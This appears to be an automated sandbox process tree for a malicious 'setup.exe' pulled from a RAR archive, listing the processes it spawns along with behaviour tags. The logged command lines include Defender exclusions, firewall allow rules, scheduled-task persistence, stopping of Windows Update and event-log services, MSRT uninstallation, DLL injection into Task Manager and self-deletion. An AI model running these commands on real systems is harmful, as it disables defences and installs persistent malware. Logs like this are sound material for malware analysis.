"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\file_x86_x64.rar"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5832

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2360 --field-trial-handle=2328,i,5873823382323802923,13134441441264702821,262144 --variations-seed-version /prefetch:8
1⤵
PID:928

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.70 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=122.0.2365.52 --initial-client-data=0x238,0x23c,0x240,0x234,0x2ac,0x7ffce2632e98,0x7ffce2632ea4,0x7ffce2632eb0
  2⤵
  PID:5356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2216 --field-trial-handle=2224,i,9510284507693251532,6107221374212532472,262144 --variations-seed-version /prefetch:2
  2⤵
  PID:4320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=3024 --field-trial-handle=2224,i,9510284507693251532,6107221374212532472,262144 --variations-seed-version /prefetch:3
  2⤵
  PID:4016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=3108 --field-trial-handle=2224,i,9510284507693251532,6107221374212532472,262144 --variations-seed-version /prefetch:8
  2⤵
  PID:4824
- C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=4236 --field-trial-handle=2224,i,9510284507693251532,6107221374212532472,262144 --variations-seed-version /prefetch:8
  2⤵
  PID:1932
- C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=4236 --field-trial-handle=2224,i,9510284507693251532,6107221374212532472,262144 --variations-seed-version /prefetch:8
  2⤵
  PID:2968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=4312 --field-trial-handle=2224,i,9510284507693251532,6107221374212532472,262144 --variations-seed-version /prefetch:8
  2⤵
  PID:5480
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=4588 --field-trial-handle=2224,i,9510284507693251532,6107221374212532472,262144 --variations-seed-version /prefetch:8
  2⤵
  PID:2964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=3660 --field-trial-handle=2224,i,9510284507693251532,6107221374212532472,262144 --variations-seed-version /prefetch:8
  2⤵
  PID:2540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=4748 --field-trial-handle=2224,i,9510284507693251532,6107221374212532472,262144 --variations-seed-version /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3772 --field-trial-handle=2224,i,9510284507693251532,6107221374212532472,262144 --variations-seed-version /prefetch:8
  2⤵
  PID:2296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=3792 --field-trial-handle=2224,i,9510284507693251532,6107221374212532472,262144 --variations-seed-version /prefetch:3
  2⤵
  PID:4328

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5632

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\file_x86_x64\" -spe -an -ai#7zMap7726:86:7zEvent2966
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4060

C:\Users\Admin\Downloads\file_x86_x64\setup.exe
"C:\Users\Admin\Downloads\file_x86_x64\setup.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5196
- C:\Users\Admin\Documents\GuardFox\UbuJx_FQyjC2W18qjEg5AOA8.exe
  "C:\Users\Admin\Documents\GuardFox\UbuJx_FQyjC2W18qjEg5AOA8.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3020
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:4480
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 560
      4⤵
      Program crash
      PID:2076
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 560
      4⤵
      Program crash
      PID:3640
- C:\Users\Admin\Documents\GuardFox\06dcw4IMkKEuZe_tAKMfJbXn.exe
  "C:\Users\Admin\Documents\GuardFox\06dcw4IMkKEuZe_tAKMfJbXn.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4508
- C:\Users\Admin\Documents\GuardFox\shsojf03cK0ptXvKXlEP55nf.exe
  "C:\Users\Admin\Documents\GuardFox\shsojf03cK0ptXvKXlEP55nf.exe"
  2⤵
  - Windows security bypass
  - Executes dropped EXE
  - Windows security modification
  - Suspicious use of AdjustPrivilegeToken
  PID:1860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\GuardFox\shsojf03cK0ptXvKXlEP55nf.exe" -Force
    3⤵
    PID:1264
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
    3⤵
    PID:5220
  - - C:\Users\Admin\Pictures\IzTjIxA9zFCN1bPn4kx6HF8K.exe
      "C:\Users\Admin\Pictures\IzTjIxA9zFCN1bPn4kx6HF8K.exe"
      4⤵
      PID:4516
    - - C:\Users\Admin\AppData\Local\Temp\is-DH5VL.tmp\IzTjIxA9zFCN1bPn4kx6HF8K.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-DH5VL.tmp\IzTjIxA9zFCN1bPn4kx6HF8K.tmp" /SL5="$503D4,1469967,54272,C:\Users\Admin\Pictures\IzTjIxA9zFCN1bPn4kx6HF8K.exe"
        5⤵
        
        PID:3024
      - C:\Users\Admin\AppData\Local\Text Ultra Edit\textultraedit.exe
        
        "C:\Users\Admin\AppData\Local\Text Ultra Edit\textultraedit.exe" -i
        6⤵
        
        PID:4208
      - C:\Users\Admin\AppData\Local\Text Ultra Edit\textultraedit.exe
        
        "C:\Users\Admin\AppData\Local\Text Ultra Edit\textultraedit.exe" -s
        6⤵
        
        PID:2460
  - - C:\Users\Admin\Pictures\MdajxUuhmBuRNnvSBOZ1OHnD.exe
      "C:\Users\Admin\Pictures\MdajxUuhmBuRNnvSBOZ1OHnD.exe"
      4⤵
      PID:4088
  - - C:\Users\Admin\Pictures\93cXd9VFp1nNDANaX6MRvzmT.exe
      "C:\Users\Admin\Pictures\93cXd9VFp1nNDANaX6MRvzmT.exe"
      4⤵
      PID:2764
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:11084
    - - C:\Users\Admin\Pictures\93cXd9VFp1nNDANaX6MRvzmT.exe
        
        "C:\Users\Admin\Pictures\93cXd9VFp1nNDANaX6MRvzmT.exe"
        5⤵
        
        PID:4916
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:5540
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:6068
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        
        PID:1608
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:6784
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:8440
      - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        6⤵
        
        PID:10392
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:5540
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Creates scheduled task(s)
        
        PID:3660
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        7⤵
        
        PID:7052
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:7312
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:11148
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        7⤵
        
        PID:6820
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Creates scheduled task(s)
        
        PID:3996
  - - C:\Users\Admin\Pictures\TWP6Dj0hscCzeSuhmvZKYxZb.exe
      "C:\Users\Admin\Pictures\TWP6Dj0hscCzeSuhmvZKYxZb.exe"
      4⤵
      PID:652
    - - C:\Users\Admin\AppData\Local\Temp\wfplwfs.exe
        
        C:\Users\Admin\AppData\Local\Temp\wfplwfs.exe
        5⤵
        
        PID:2244
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:6596
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6596 -s 1648
        7⤵
        Program crash
        
        PID:8300
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:9632
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9632 -s 1696
        7⤵
        Program crash
        
        PID:11052
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:6316
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6316 -s 1676
        7⤵
        Program crash
        
        PID:7712
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:9160
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9160 -s 1684
        7⤵
        Program crash
        
        PID:9356
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:10692
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 10692 -s 1684
        7⤵
        Program crash
        
        PID:8924
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:7368
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7368 -s 1676
        7⤵
        Program crash
        
        PID:5288
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:4324
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4324 -s 1380
        7⤵
        Program crash
        
        PID:1704
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:8256
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8256 -s 1684
        7⤵
        Program crash
        
        PID:10664
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:5344
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:10480
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:8212
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8212 -s 1676
        7⤵
        Program crash
        
        PID:7108
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:8256
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8256 -s 1676
        7⤵
        Program crash
        
        PID:6452
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:7568
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7568 -s 1684
        7⤵
        Program crash
        
        PID:8556
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:8060
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8060 -s 1688
        7⤵
        Program crash
        
        PID:2304
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:9172
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:10304
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 10304 -s 1688
        7⤵
        Program crash
        
        PID:6628
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:6264
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6264 -s 1676
        7⤵
        Program crash
        
        PID:3232
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:1212
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1212 -s 1704
        7⤵
        Program crash
        
        PID:7688
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:8228
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8228 -s 1668
        7⤵
        Program crash
        
        PID:216
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:9472
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9472 -s 1684
        7⤵
        Program crash
        
        PID:7844
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe
        6⤵
        
        PID:652
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 652 -s 1688
        7⤵
        Program crash
        
        PID:636
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\Pictures\TWP6Dj0hscCzeSuhmvZKYxZb.exe"
        5⤵
        
        PID:5748
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 3
        6⤵
        Runs ping.exe
        
        PID:3756
  - - C:\Users\Admin\Pictures\pr2oqa3dtjee1rEnWzOU6DSh.exe
      "C:\Users\Admin\Pictures\pr2oqa3dtjee1rEnWzOU6DSh.exe"
      4⤵
      PID:4452
    - - C:\Users\Admin\AppData\Local\Temp\syncUpd.exe
        
        C:\Users\Admin\AppData\Local\Temp\syncUpd.exe
        5⤵
        
        PID:1728
    - - C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
        
        C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
        5⤵
        
        PID:4156
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
        6⤵
        
        PID:6468
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        7⤵
        
        PID:4092
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
        7⤵
        Creates scheduled task(s)
        
        PID:9072
  - - C:\Users\Admin\Pictures\9sartcRosw60BhqQQC9rcolr.exe
      "C:\Users\Admin\Pictures\9sartcRosw60BhqQQC9rcolr.exe"
      4⤵
      PID:5660
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        5⤵
        
        PID:644
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:7624
      - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:5196
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:7652
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:7556
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:7116
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        5⤵
        Launches sc.exe
        
        PID:7560
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3020
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        5⤵
        Launches sc.exe
        
        PID:1492
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        5⤵
        
        PID:7116
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        5⤵
        
        PID:7136
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        5⤵
        
        PID:5196
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        5⤵
        
        PID:2444
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
        5⤵
        Launches sc.exe
        
        PID:5908
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
        5⤵
        Launches sc.exe
        
        PID:8492
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        5⤵
        Launches sc.exe
        
        PID:8912
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
        5⤵
        Launches sc.exe
        
        PID:8920
  - - C:\Users\Admin\Pictures\KCn4KeaGxfAv0rZJgvg51KYk.exe
      "C:\Users\Admin\Pictures\KCn4KeaGxfAv0rZJgvg51KYk.exe" --silent --allusers=0
      4⤵
      PID:6608
    - - C:\Users\Admin\Pictures\KCn4KeaGxfAv0rZJgvg51KYk.exe
        
        C:\Users\Admin\Pictures\KCn4KeaGxfAv0rZJgvg51KYk.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.24 --initial-client-data=0x2fc,0x300,0x304,0x2d8,0x308,0x6d0d21c8,0x6d0d21d4,0x6d0d21e0
        5⤵
        
        PID:7124
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\KCn4KeaGxfAv0rZJgvg51KYk.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\KCn4KeaGxfAv0rZJgvg51KYk.exe" --version
        5⤵
        
        PID:3100
    - - C:\Users\Admin\Pictures\KCn4KeaGxfAv0rZJgvg51KYk.exe
        
        "C:\Users\Admin\Pictures\KCn4KeaGxfAv0rZJgvg51KYk.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=6608 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240314114118" --session-guid=596442c3-d5a8-474c-bd61-1a193b64b262 --server-tracking-blob=YmRjZjgyNmNmOWE3ZDk1YTE1YmFlMzk5ZjE3OGQ1ZTMzOGY0NWYxMTBjZTNjODI1OGQyMDQ3YWE5NTNiYjIyMTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcxMDQxNjQxNS42Mzc0IiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiJlOGVkMmNlOC0wZmI4LTQyNjQtYmYxYS01Yjk3YjQ3ZjYzZmEifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=4C05000000000000
        5⤵
        
        PID:7508
      - C:\Users\Admin\Pictures\KCn4KeaGxfAv0rZJgvg51KYk.exe
        
        C:\Users\Admin\Pictures\KCn4KeaGxfAv0rZJgvg51KYk.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.24 --initial-client-data=0x31c,0x320,0x324,0x2ec,0x328,0x6c1221c8,0x6c1221d4,0x6c1221e0
        6⤵
        
        PID:7736
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
    3⤵
    PID:5136
- C:\Users\Admin\Documents\GuardFox\gmYFcelYLcZsnUunevOnkYEV.exe
  "C:\Users\Admin\Documents\GuardFox\gmYFcelYLcZsnUunevOnkYEV.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5280
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5280 -s 340
    3⤵
    - Program crash
    PID:4804
- C:\Users\Admin\Documents\GuardFox\yOsEn6X4j9yNwT9k_u4mAaHy.exe
  "C:\Users\Admin\Documents\GuardFox\yOsEn6X4j9yNwT9k_u4mAaHy.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1132
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:10944
- - C:\Users\Admin\Documents\GuardFox\yOsEn6X4j9yNwT9k_u4mAaHy.exe
    "C:\Users\Admin\Documents\GuardFox\yOsEn6X4j9yNwT9k_u4mAaHy.exe"
    3⤵
    PID:7916
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:1440
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      PID:444
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
